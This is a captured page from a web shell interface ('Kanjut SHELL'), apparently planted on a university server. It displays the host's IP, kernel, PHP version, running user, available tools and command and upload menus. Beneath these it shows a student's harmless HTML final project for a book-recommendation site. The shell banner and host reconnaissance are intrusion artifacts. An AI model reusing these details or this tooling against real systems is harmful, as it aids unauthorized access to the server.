Not Found

Kanjut SHELL
Server IP : 172.16.15.8 / Your IP : 3.149.24.192
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON
Directory (0755) : /home/kabaines/public_html/
[ Home ]	[ C0mmand ]	[ Upload File ]
Current File : /home/kabaines/public_html/Home.html
<!-- 
	Assignment: Final Project;
	Author: Katelyn Baines
	Instructor: Dr. Wang
	
	File: Home.html 
-->

<!DOCTYPE html>
<html>

<!-- Color Palete:
	Green Spring: #B2B7AF
	Blue Dianne: #255055
	Stiletto: #9F3732
	Shadow: #E8E8E8
-->

<head>
	<title>Bookasaurus Home</title>
	
	<style>
		body {
  			margin: 0;
  			padding: 0;
  			font-size: 15px;
		}
		
		.nav {
  			background-color: #255055;
  			margin: 0;
  			overflow: hidden;
		}

		.nav ul {
  			margin: 0;
  			padding: 0;
  			display: flex;
		}

		.nav li {
  			display: inline-block;
  			list-style-type: none;
			padding-left: 10px;
		}

		.nav a {
			color: white;
  			display: block;
  			text-decoration: none;
			padding: 10px;
			padding-bottom: 0;
			margin-bottom:0;
		}
		
		.hover {
			text-align:center;
		}

		.hover:hover {
  			background-color: #B2B7AF;
		}
		
		.hover:hover a{
			color: black;
		}
		
		.hover a:hover {
			color: black;
		}

		.nav ul li:first-child {
  			margin-right: auto;
		}
		
		.nav img{
			width: 3em;
			background-color: #255055;
		}
		
		#space {
			width: 100%;
		}
		
		#space:hover {
			background-color: #255055;
		}
		
		.header{
			background-image: url("header.jpg");
			background-repeat: no-repeat;
			height: 350px;
			color: white;
			margin-top:0;
			padding-left: 50px;
			padding-top: 115px;
		}
		
		#cardtitle {
			margin-top: 50px;
			padding-left: 11%;
		}
		
		.column {
			display: inline-block;
			width: 25%;
			padding: 0 10px;
		}
		
		.row{
			margin: 15px -5px;
			display: flex;
			justify-content: center;
			flex-wrap: nowrap;
			margin-bottom: 50px;
		}
		
		.row:after {
			content: "";
			display: table;
			clear: both;
		}
		
		.card {
			box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
			padding: 16px;
			text-align: center;
			background-color: #E8E8E8;
			height: 150px;
		}
		
		.card h3{
			tetx-align: center;
		}
		
		@media screen and (max-width: 600px) {
  			.column {
    			width: 100%;
    			display: block;
    			margin-bottom: 20px;
  			}
		}
		
		.card img{
			float: left;
			width: 75px;
		}
		
		.bodyPic {
			background-image: url("middleFlipped.jpg");
			background-repeat: no-repeat;
			color: white;
			background-size: contain;
			height: 250px;
		}
		
		.tt {
			float: right;
			padding-right:50px;
		}
		
		.tt p {
			float: right;
		}
		
		.mission {
			padding: 100px;
			padding-top: 50px;
		}
		
		.credits {
			padding-top: 15px;
			background-color: black;
			color: white;
			text-align: center;
		}
		
		.rw {
			display: flex;
			justify-content: center;
		}
		
		.col {
			display: inline-block;
			text-align: center;
			width: 500px;
		}
		
		.col li{
			list-style:none;
		}
	</style>
</head>
<body>

<div class=nav>
	<ul>
		<li><a href=Home.html class=logo><img src="bookRexs.jpg" atr="Bookasaurus Logo; Dinosaur sitting on a small stack of books."></a></li>
		<li id=space></li>
		<a href=about.html class=hover><li>About Us</li></a>
		<a href=login.html class=hover><li>Login</li></a>
		<a href=create.html class=hover><li>Create Account</li></a>
	</ul>
</div>

<div class=header>
	<H1>Bookasaurus</H1>
	<H4>Your home for great book Rex!</H3>
</div>

<h2 id=cardtitle>Join today for free!</h2>

<div class=row>
	<div class=column>
		<div class=card>
			<img src="Egg.png" atr="Dinasour egg, not yet hatched">
			<br>
			<h3><b>CREATE AN ACCOUNT</b></h3>
		</div>
	</div>
	
	<div class=column>
		<div class=card>
			<img src="Hatchling.png" atr="Baby dinasour in broken egg, freshly hatched">
			<br>
			<h3><b>GET GREAT BOOK REX</b></h3>
		</div>
	</div>
	
	<div class=column>
		<div class=card>
			<img src="Dino.png" atr="Baby dinasour">
			<br>
			<h3><b>RECOMMEND TO OTHERS</b></h3>
		</div>
	</div>
</div>

<div class=bodyPic>
	<div class=tt>
		<H3>Our database has dozens of books just waiting for you, and is growing everyday.</H3>
		<p>##Talk about the algorithm or smth##</p>
	</div>
</div>

<div class=mission>
	<h2>Our Mission</h2>
	<p>Here at Bookasaurus, we believe that reading is for everyone. Studies have shown ##Reference some studies and 
	spit out some facts##. <em>But</em>, all of that is dependent on wanting to read. Our mission is to match everyone
	with the perfect book rex. With the help of our community, we want to expose every potential reader to all of these 
	benefits. So whether you're a freshly hatched reader or a full grown one, we welcome you to Bookasaurus. </p>
</div>

<div class=credits>
	<H4>Special thanks to the following</H4>
	<div class=rw>
	<ul>
	<div class=col>
		<li>Project Creator - Katelyn Baines</li>
		<li>Website Designer - Katelyn Baines</li>
		<li>Bookasaurus Algorithm - Katelyn Baines</li>
	</div>
	<div class=col>
		<li>Creative Designer - Alyssa Lane</li>
		<li>Images - Alyssa Lane</li>
		<li>Logo - Alyssa Lane</li>
	</div>
	</ul>
	</div>
</div>

</body>
</html>
Stv3n404 - 2023